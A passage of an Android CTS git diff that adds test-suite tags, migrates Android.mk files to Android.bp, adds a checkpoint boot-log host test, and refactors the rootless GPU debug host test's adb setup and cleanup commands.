         }
         return true;
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
index 5c499d4..9b57550 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
@@ -30,6 +30,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
index de7c837..15aa05e 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/src/com/android/cts/splitapp/SplitAppTest.java
@@ -514,7 +514,7 @@
         // enforcement, so we verify that total/free space are identical.
         final long totalDelta = Math.abs(current.getTotalSpace() - primary.getTotalSpace());
         final long freeDelta = Math.abs(current.getFreeSpace() - primary.getFreeSpace());
-        if (totalDelta > MB_IN_BYTES || freeDelta > MB_IN_BYTES) {
+        if (totalDelta > MB_IN_BYTES * 300 || freeDelta > MB_IN_BYTES * 300) {
             fail("Expected primary storage to be on same volume as app");
         }
     }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index b2f9f3f..ba5fd4b 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -500,7 +500,15 @@
     }
 
     private static AccessibilityNodeInfo findByText(AccessibilityNodeInfo root, String text) {
+        if (root == null) {
+            return null;
+        }
         List<AccessibilityNodeInfo> nodes = root.findAccessibilityNodeInfosByText(text);
+        PackageManager packageManager = InstrumentationRegistry.getTargetContext().getPackageManager();
+        boolean isWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH);
+        if (isWatch) {
+            return findByTextForWatch(root, text);
+        }
         for (AccessibilityNodeInfo node : nodes) {
             if (node.getText().toString().equals(text)) {
                 return node;
@@ -509,6 +517,21 @@
         return null;
     }
 
+    private static AccessibilityNodeInfo findByTextForWatch(AccessibilityNodeInfo root, String text) {
+        String trimmedText = trimText(text);
+        List<AccessibilityNodeInfo> nodes = root.findAccessibilityNodeInfosByText(trimmedText);
+        for (AccessibilityNodeInfo node : nodes) {
+            if (trimText(node.getText().toString()).equals(trimmedText)) {
+                return node;
+            }
+        }
+        return null;
+    }
+
+    private static String trimText(String text) {
+        return text != null ? text.substring(0, Math.min(text.length(), 20)) : null;
+    }
+
     private static AccessibilityNodeInfo findByTextInCollection(AccessibilityNodeInfo root,
             String text)  throws Exception {
         AccessibilityNodeInfo result;
diff --git a/hostsidetests/appsecurity/test-apps/dummyime/Android.bp b/hostsidetests/appsecurity/test-apps/dummyime/Android.bp
index 6b3cce5..b356368 100644
--- a/hostsidetests/appsecurity/test-apps/dummyime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/dummyime/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.mk b/hostsidetests/checkpoint/Android.mk
similarity index 60%
copy from hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.mk
copy to hostsidetests/checkpoint/Android.mk
index 90f56d6..7f044b0 100644
--- a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.mk
+++ b/hostsidetests/checkpoint/Android.mk
@@ -12,26 +12,24 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-LOCAL_PATH:= $(call my-dir)
+LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
 
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
+# Only compile source java files in this apk.
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_MODULE := CtsCheckpointTestCases
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
-LOCAL_PACKAGE_NAME := CtsDevicePolicyContentSuggestionsApp
-
-LOCAL_SDK_VERSION := system_current
+LOCAL_CTS_TEST_PACKAGE := android.checkpoint
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests gts
 
-include $(BUILD_CTS_PACKAGE)
+LOCAL_MIN_SDK_VERSION := 4
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/checkpoint/AndroidTest.xml b/hostsidetests/checkpoint/AndroidTest.xml
new file mode 100644
index 0000000..1b8aba3
--- /dev/null
+++ b/hostsidetests/checkpoint/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for the CTS Checkpoint host tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="test-suite-tag" value="gts" />
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsCheckpointTestCases.jar" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/hostsidetests/checkpoint/OWNERS b/hostsidetests/checkpoint/OWNERS
new file mode 100644
index 0000000..6b12108
--- /dev/null
+++ b/hostsidetests/checkpoint/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 30545
+paullawrence@google.com
+drosen@google.com
diff --git a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
new file mode 100644
index 0000000..ea876d9a
--- /dev/null
+++ b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.checkpoint.cts;
+
+import com.android.compatibility.common.util.CtsDownstreamingTest;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceTestCase;
+import junit.framework.Assert;
+
+
+/**
+ * Test to validate that the checkpoint failures in b/138952436 are properly patched
+ */
+public class CheckpointHostTest extends DeviceTestCase {
+    private static final String TAG = "CheckpointHostTest";
+
+    @CtsDownstreamingTest
+    public void testLogEntries() throws Exception {
+        // Clear buffer to make it easier to find new logs
+        getDevice().executeShellCommand("logcat --clear");
+
+        // reboot device
+        getDevice().rebootUntilOnline();
+        waitForBootCompleted();
+
+        // wait for logs to post
+        Thread.sleep(10000);
+
+        final String amLog = getDevice().executeShellCommand("logcat -d -s ActivityManager");
+        int counterNameIndex = amLog.indexOf("ActivityManager: About to commit checkpoint");
+        Assert.assertTrue("did not find commit checkpoint in boot logs", counterNameIndex != -1);
+
+        final String checkpointLog = getDevice().executeShellCommand("logcat -d -s Checkpoint");
+        counterNameIndex = checkpointLog.indexOf(
+            "Checkpoint: cp_prepareCheckpoint called");
+        Assert.assertTrue("did not find prepare checkpoint in boot logs", counterNameIndex != -1);
+    }
+
+    private boolean isBootCompleted() throws Exception {
+        return "1".equals(getDevice().executeShellCommand("getprop sys.boot_completed").trim());
+    }
+
+    private void waitForBootCompleted() throws Exception {
+        for (int i = 0; i < 45; i++) {
+            if (isBootCompleted()) {
+                return;
+            }
+            Thread.sleep(1000);
+        }
+        throw new AssertionError("System failed to become ready!");
+    }
+}
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
new file mode 100644
index 0000000..4eef832
--- /dev/null
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsDevicePolicyManagerTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "tools-common-prebuilt",
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+        "guava",
+        "truth-prebuilt",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "general-tests",
+        "vts",
+    ],
+    java_resource_dirs: ["res"],
+    data: [":current-api-xml"],
+}
diff --git a/hostsidetests/devicepolicy/Android.mk b/hostsidetests/devicepolicy/Android.mk
deleted file mode 100644
index e9da9ec..0000000
--- a/hostsidetests/devicepolicy/Android.mk
+++ /dev/null
@@ -1,63 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-# $(1) name of the xml file to be created
-# $(2) path to the api text file
-define build_xml_api_file
-include $(CLEAR_VARS)
-LOCAL_MODULE := cts-$(subst .,-,$(1))
-LOCAL_MODULE_STEM := $(1)
-LOCAL_MODULE_CLASS := ETC
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-include $(BUILD_SYSTEM)/base_rules.mk
-$$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
-	@echo "Convert API file $$< -> $$@"
-	@mkdir -p $$(dir $$@)
-	$(hide) $(APICHECK_COMMAND) -convert2xmlnostrip $$< $$@
-endef
-
-$(eval $(call build_xml_api_file,current.api,frameworks/base/api/current.txt))
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsDevicePolicyManagerTestCases
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_RESOURCE_DIRS := res
-
-LOCAL_JAVA_LIBRARIES := \
-    tools-common-prebuilt \
-    cts-tradefed \
-    tradefed \
-    compatibility-host-util \
-    guava \
-    truth-prebuilt
-
-LOCAL_CTS_TEST_PACKAGE := android.adminhostside
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts arcts vts general-tests
-
-# Need the dependency to build/run the module solely by atest.
-LOCAL_TARGET_REQUIRED_MODULES := cts-current-api
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/devicepolicy/app/Android.mk b/hostsidetests/devicepolicy/app/Android.mk
deleted file mode 100644
index d44e88e..0000000
--- a/hostsidetests/devicepolicy/app/Android.mk
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
new file mode 100644
index 0000000..2422d71
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDevicePolicyContentSuggestionsApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "system_current",
+}
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.bp b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
new file mode 100644
index 0000000..5b9dd20
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsLauncherAppsTests",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "junit",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ShortcutManagerTestUtils",
+        "testng",
+    ],
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
deleted file mode 100644
index fc424be..0000000
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLauncherAppsTests
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := junit android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES = \
-	androidx.legacy_legacy-support-v4 \
-	ctstestrunner-axt \
-	androidx.test.rules \
-	compatibility-device-util-axt \
-	ShortcutManagerTestUtils \
-	testng
-
-LOCAL_SDK_VERSION := system_current
-LOCAL_MIN_SDK_VERSION := 21
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/MeteredDataTestApp/src/com/android/cts/devicepolicy/metereddatatestapp/MainActivity.java b/hostsidetests/devicepolicy/app/MeteredDataTestApp/src/com/android/cts/devicepolicy/metereddatatestapp/MainActivity.java
old mode 100644
new mode 100755
index 09282b3..e674008
--- a/hostsidetests/devicepolicy/app/MeteredDataTestApp/src/com/android/cts/devicepolicy/metereddatatestapp/MainActivity.java
+++ b/hostsidetests/devicepolicy/app/MeteredDataTestApp/src/com/android/cts/devicepolicy/metereddatatestapp/MainActivity.java
@@ -31,6 +31,7 @@
 
     private static final String EXTRA_MESSENGER = "messenger";
     private static final int MSG_NOTIFY_NETWORK_STATE = 1;
+    private static final int WAIT_TO_ALLOW_CONNECTING_MS = 2000;
 
     @Override
     public void onCreate(Bundle icicle) {
@@ -60,6 +61,15 @@
     private NetworkInfo getActiveNetworkInfo() {
         final ConnectivityManager cm = (ConnectivityManager) getSystemService(
                 Context.CONNECTIVITY_SERVICE);
+        waitToAllowConnecting();
         return cm.getActiveNetworkInfo();
     }
+
+    private void waitToAllowConnecting() {
+        try {
+            Thread.sleep(WAIT_TO_ALLOW_CONNECTING_MS);
+        } catch (InterruptedException e) {
+            throw new IllegalStateException(e);
+        }
+    }
 }
diff --git a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
index f4362f0..6b5c645 100644
--- a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
+++ b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
@@ -18,6 +18,7 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import java.util.Scanner;
 
@@ -31,24 +32,10 @@
  * Tests that exercise Rootless GPU Debug functionality supported by the loader.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CtsRootlessGpuDebugHostTest implements IDeviceTest {
+public class CtsRootlessGpuDebugHostTest extends BaseHostJUnit4Test implements IDeviceTest {
 
     public static final String TAG = "RootlessGpuDebugDeviceActivity";
 
-    /**
-     * A reference to the device under test.
-     */
-    private ITestDevice mDevice;
-
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-
     // This test ensures that the Vulkan and GLES loaders can use Settings to load layers
     // from the base directory of debuggable applications.  Is also tests several
     // positive and negative scenarios we want to cover (listed below).
@@ -115,6 +102,10 @@
     private static final String RELEASE_APP = "android.rootlessgpudebug.RELEASE.app";
     private static final String LAYERS_APP = "android.rootlessgpudebug.LAYERS.app";
     private static final String GLES_LAYERS_APP = "android.rootlessgpudebug.GLES_LAYERS.app";
+    private static final String DEBUG_APK = "CtsGpuToolsRootlessGpuDebugApp-DEBUG.apk";
+    private static final String RELEASE_APK = "CtsGpuToolsRootlessGpuDebugApp-RELEASE.apk";
+    private static final String LAYERS_APK = "CtsGpuToolsRootlessGpuDebugApp-LAYERS.apk";
+    private static final String GLES_LAYERS_APK = "CtsGpuToolsRootlessGpuDebugApp-GLES_LAYERS.apk";
     private static final String GLES_LAYER_A = "glesLayerA";
     private static final String GLES_LAYER_B = "glesLayerB";
     private static final String GLES_LAYER_C = "glesLayerC";
@@ -139,14 +130,14 @@
      */
     private String getTime() throws Exception {
         // logcat will accept "MM-DD hh:mm:ss.mmm"
-        return mDevice.executeShellCommand("date +\"%m-%d %H:%M:%S.%3N\"");
+        return getDevice().executeShellCommand("date +\"%m-%d %H:%M:%S.%3N\"");
     }
 
     /**
      * Apply a setting and ensure it sticks before continuing
      */
     private void applySetting(String setting, String value) throws Exception {
-        mDevice.executeShellCommand("settings put global " + setting + " " + value);
+        getDevice().executeShellCommand("settings put global " + setting + " " + value);
 
         long hostStartTime = System.currentTimeMillis();
         while (((System.currentTimeMillis() - hostStartTime) < SETTING_APPLY_TIMEOUT_MS)) {
@@ -155,7 +146,7 @@
             Thread.sleep(1000);
 
             // Read it back, make sure it has applied
-            String returnedValue = mDevice.executeShellCommand("settings get global " + setting);
+            String returnedValue = getDevice().executeShellCommand("settings get global " + setting);
             if ((returnedValue != null) && (returnedValue.trim().equals(value))) {
                 return;
             }
@@ -170,7 +161,7 @@
      * Delete a setting and ensure it goes away before continuing
      */
     private void deleteSetting(String setting) throws Exception {
-        mDevice.executeShellCommand("shell settings delete global " + setting);
+        getDevice().executeShellCommand("shell settings delete global " + setting);
 
         long hostStartTime = System.currentTimeMillis();
         while (((System.currentTimeMillis() - hostStartTime) < SETTING_APPLY_TIMEOUT_MS)) {
@@ -179,7 +170,7 @@
             Thread.sleep(1000);
 
             // Read it back, make sure it is gone
-            String returnedValue = mDevice.executeShellCommand("settings get global " + setting);
+            String returnedValue = getDevice().executeShellCommand("settings get global " + setting);
             if ((returnedValue == null) ||
                 (returnedValue.trim().isEmpty()) ||
                 (returnedValue.trim().equals("null"))) {
@@ -198,16 +189,16 @@
     private void setupLayer(String layer, String layerApp) throws Exception {
 
         // We use the LAYERS apk to facilitate getting layers onto the device for mixing and matching
-        String libPath = mDevice.executeAdbCommand("shell", "pm", "path", layerApp);
+        String libPath = getDevice().executeAdbCommand("shell", "pm", "path", layerApp);
         libPath = libPath.replaceAll("package:", "");
         libPath = libPath.replaceAll("base.apk", "");
         libPath = removeWhitespace(libPath);
         libPath += "lib/";
 
         // Use find to get the .so so we can ignore ABI
-        String layerPath = mDevice.executeAdbCommand("shell", "find", libPath + " -name " + layer);
+        String layerPath = getDevice().executeAdbCommand("shell", "find", libPath + " -name " + layer);
         layerPath = removeWhitespace(layerPath);
-        mDevice.executeAdbCommand("shell", "cp", layerPath + " /data/local/tmp");
+        getDevice().executeAdbCommand("shell", "cp", layerPath + " /data/local/tmp");
     }
 
     /**
@@ -245,7 +236,7 @@
             // Pull the logcat since the app started, filter for tags
             // This command should look something like this:
             // adb logcat -d -t '03-27 21:35:05.392' -s "RootlessGpuDebugDeviceActivity,nullLayerC"
-            String logcat = mDevice.executeShellCommand(
+            String logcat = getDevice().executeShellCommand(
                     "logcat -d " +
                     "-t '" + removeWhitespace(appStartTime) + "' " +
                     "-s \"" + tag + "\"");
@@ -278,28 +269,32 @@
      */
     @After
     public void cleanup() throws Exception {
-        mDevice.executeAdbCommand("shell", "am", "force-stop", DEBUG_APP);
-        mDevice.executeAdbCommand("shell", "am", "force-stop", RELEASE_APP);
-        mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_A_LIB);
-        mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_B_LIB);
-        mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_C_LIB);
-        mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_A_LIB);
-        mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_B_LIB);
-        mDevice.executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_C_LIB);
-        mDevice.executeAdbCommand("shell", "settings", "delete", "global", "enable_gpu_debug_layers");
-        mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_app");
-        mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers");
-        mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers_gles");
-        mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layer_app");
-        mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\'");
-        mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers", "\'\'");
+        getDevice().executeAdbCommand("shell", "am", "force-stop", DEBUG_APP);
+        getDevice().executeAdbCommand("shell", "am", "force-stop", RELEASE_APP);
+        getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_A_LIB);
+        getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_B_LIB);
+        getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_C_LIB);
+        getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_A_LIB);
+        getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_B_LIB);
+        getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + GLES_LAYER_C_LIB);
+        getDevice().executeAdbCommand("shell", "settings", "delete", "global", "enable_gpu_debug_layers");
+        getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_app");
+        getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers");
+        getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers_gles");
+        getDevice().executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layer_app");
+        getDevice().executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\'");
+        getDevice().executeAdbCommand("shell", "setprop", "debug.gles.layers", "\'\'");
     }
 
     /**
-     * Clean up before starting any tests
+     * Clean up before starting any tests, and ensure supporting packages are installed
      */
     @Before
     public void init() throws Exception {
+        installPackage(DEBUG_APK);
+        installPackage(RELEASE_APK);
+        installPackage(LAYERS_APK);
+        installPackage(GLES_LAYERS_APK);
         if (!initialized) {
             cleanup();
             initialized = true;
@@ -324,17 +319,17 @@
 
 
         // Copy them over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
-                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
-                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_B_LIB, ";", "chmod", "700", LAYER_B_LIB + "\'");
 
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Check that both layers were loaded, in the correct order
         String searchStringA = "nullCreateInstance called in " + LAYER_A;
@@ -364,13 +359,13 @@
         setupLayer(LAYER_A_LIB, LAYERS_APP);
 
         // Attempt to copy them over to our RELEASE app (this should fail)
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
-                "run-as", RELEASE_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", RELEASE_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'", "||", "echo", "run-as", "failed");
 
         // Kick off our RELEASE app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = LAYER_A_NAME + "loaded";
@@ -394,13 +389,13 @@
         setupLayer(LAYER_A_LIB, LAYERS_APP);
 
         // Copy it over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
-                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
